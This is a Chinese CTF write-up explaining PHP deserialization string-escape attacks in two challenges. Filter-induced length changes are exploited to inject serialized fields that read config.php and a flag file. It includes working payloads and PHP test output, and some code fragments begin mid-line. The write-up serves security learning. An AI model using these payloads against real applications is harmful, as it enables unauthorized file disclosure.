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CTF比赛了解PHP反序列化，记录自己的学习。www.zip发现备份的源码,有一下文件,flag就在config.php,因此读取即可class.php //主要有mysql类(mysql基本操作)和user类(继承mysql实现功能点) config.php //环境配置 index.php //登陆 profile.php //查看自己上传的文件 register.php //注册 update.php //文件上传
SQL咯,发现class.php中mysql类的filter过滤函数,过滤了增删查改,基本无望.profile.php中发现对上传的文件进行反序列化处理,并对文件$profile['photo']进行读取.我们再回到文件上传点,发现$profile['photo'] = 'upload/' . md5($file['name']);,但是我们无法获取加密后的文件值,后面有又看到文件上传是先序列化,再进过filter函数替换一些关键字,再反序列化,因此文件可能发生改变,因此可能有漏洞;作为分隔点,}做为结束标志,根据长度来判断读取多少字符,我们无法控制$profile['photo']但是可以控制nickname,而nickname又进行了长度限制,strlen函数却无法处理数组,因此用数组进行绕过即可我们在这里截断,那么后面的则会被废弃不再读取,而我们要构造的的payload是,最开始的";}是为了闭合前面数组nickname的{,后面的;}是为了截断,让反序列化结束,不再读取后面的内容,当然这些都不能是字符哈.";}s:5:"photo";s:10:"config.php";}
这时构造了payload,那么就要来计算溢出数量了,我们构造的payload长度为34,那么就要增加34个长度,由于where变成hacker会增加一个长度,那么我们就需要34个where,最终payload
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
'01234567890', 'email'=>'12345678@11.com', 'nickname'=>array('wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}'), 'photo'=>'upload/'.md5('1.jpg') ); print_r(serialize($profile)); echo PHP_EOL; print_r(filter(serialize($profile))); echo PHP_EOL; var_dump(unserialize(filter(serialize($profile)))); echo PHP_EOL; ?>
输出结果展示,最开始不用进过filter函数反序列化时,nickname数组的第一个值没被截断是一个整体
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
where变成了
hacker,反序列化的长度变化了,但是又只读取204的长度,则
s:5:"photo";s:10:"config.php";}";}就多出来了,作为另一个反序列化的其中一个元素,而末尾的
'}又不是字符,因此被认为反序列化结束了,后面的内容被丢弃,因此可以任意读取文件.
a:4:{s:5:"phone";s:11:"01234567890";s:5:"email";s:15:"12345678@11.com";s:8:"nickname";a:1:{i:0;s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/f3ccdd27d2000e3f9255a7e3e2c48800";} a:4:{s:5:"phone";s:11:"01234567890";s:5:"email";s:15:"12345678@11.com";s:8:"nickname";a:1:{i:0;s:204:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/f3ccdd27d2000e3f9255a7e3e2c48800";} array(4) { 'phone' => string(11) "01234567890" 'email' => string(15) "12345678@11.com" 'nickname' => array(1) { [0] => string(204) "hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker" } 'photo' => string(10) "config.php" }
source_code'; } if(!$_GET['img_path']){ $_SESSION['img'] = base64_encode('guest_img.png'); }else{ $_SESSION['img'] = sha1(base64_encode($_GET['img_path'])); } $serialize_info = filter(serialize($_SESSION)); if($function == 'highlight_file'){ highlight_file('index.php'); }else if($function == 'phpinfo'){ eval('phpinfo();'); //maybe you can find something in here! }else if($function == 'show_image'){ $userinfo = unserialize($serialize_info); echo file_get_contents(base64_decode($userinfo['img'])); }
extract变量覆盖,file_get_contents任意文件读取.$userinfo['img']逆推回去发现,是由参数img_path控制的,但是经过sha1加密,我们无法得知加密后内容,但结合前面的extract变量覆盖,我们可以自己POST构造.filter函数替换一些字符(那么此时序列化后的数据则发生了变化,可能存在漏洞),再反序列化,读取参数值.img,user,function,而我们能控制的只有后面两个,我们需要构造的payload是这样的f";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:3:"tql";s:3:"tql";}
a:3:{s:4:"user";s:5:"guest";s:8:"function";s:10:"show_image";s:3:"img";s:40:"1b75545ff7fcd63fb78a7e4f52a0500d4f39b8f5";}
img的值,我们自己来构造这个值,只有两个参数,必须在function哪里截断,而这个反序列是长度递减,那么就是选择元素吞噬(吞噬的长度自己酌情参考,一般是到自己能控制的点就好)后面的长度,来构造自己的payload咯,我们就选user元素吧,len('";s:8:"function";s:10:"')的长度为23,但是我们无法构造23个长度,我们可以多吞噬一个,24个字符,那么就用6个flag就好,但是这样后面的序列化就混乱了,我们就要添加自己的payload,并补全.虽然这样补好了,但是只有两个元素,这里需要三个元素,我们就再添加元素,并将后面的img进行截断a:3:{s:4:"user";s:24:"";s:8:"function";s:10:"show_image";s:3:"img";s:40:"1b75545ff7fcd63fb78a7e4f52a0500d4f39b8f5";} a:3:{s:4:"user";s:24:"";s:8:"function";s:2:"22";s:3:"img";s:40:"1b75545ff7fcd63fb78a7e4f52a0500d4f39b8f5";}
}即可,并且不为读取的字符即可,因此添加f";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:3:"tql";s:3:"tql";},这里我们新增了一个元素,因此吞噬后function元素消失了,随便补充好元素即可."flagflagflagflagflagflag", "function"=>'2";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:3:"tql";s:3:"tql";}', //"user"=>'guest', //"function"=>'show_image', "img"=>sha1(base64_encode('guest_img.png')) ); print_r(serialize($arr)); echo PHP_EOL; print_r(filter(serialize($arr))); echo PHP_EOL; print_r(unserialize(filter(serialize($arr)))); ?>
a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:62:"2";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:3:"tql";s:3:"tql";}";s:3:"img";s:40:"1b75545ff7fcd63fb78a7e4f52a0500d4f39b8f5";} a:3:{s:4:"user";s:24:"";s:8:"function";s:62:"2";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:3:"tql";s:3:"tql";}";s:3:"img";s:40:"1b75545ff7fcd63fb78a7e4f52a0500d4f39b8f5";} Array ( [user] => ";s:8:"function";s:62:"2 [img] => ZDBnM19mMWFnLnBocA== [tql] => tql )
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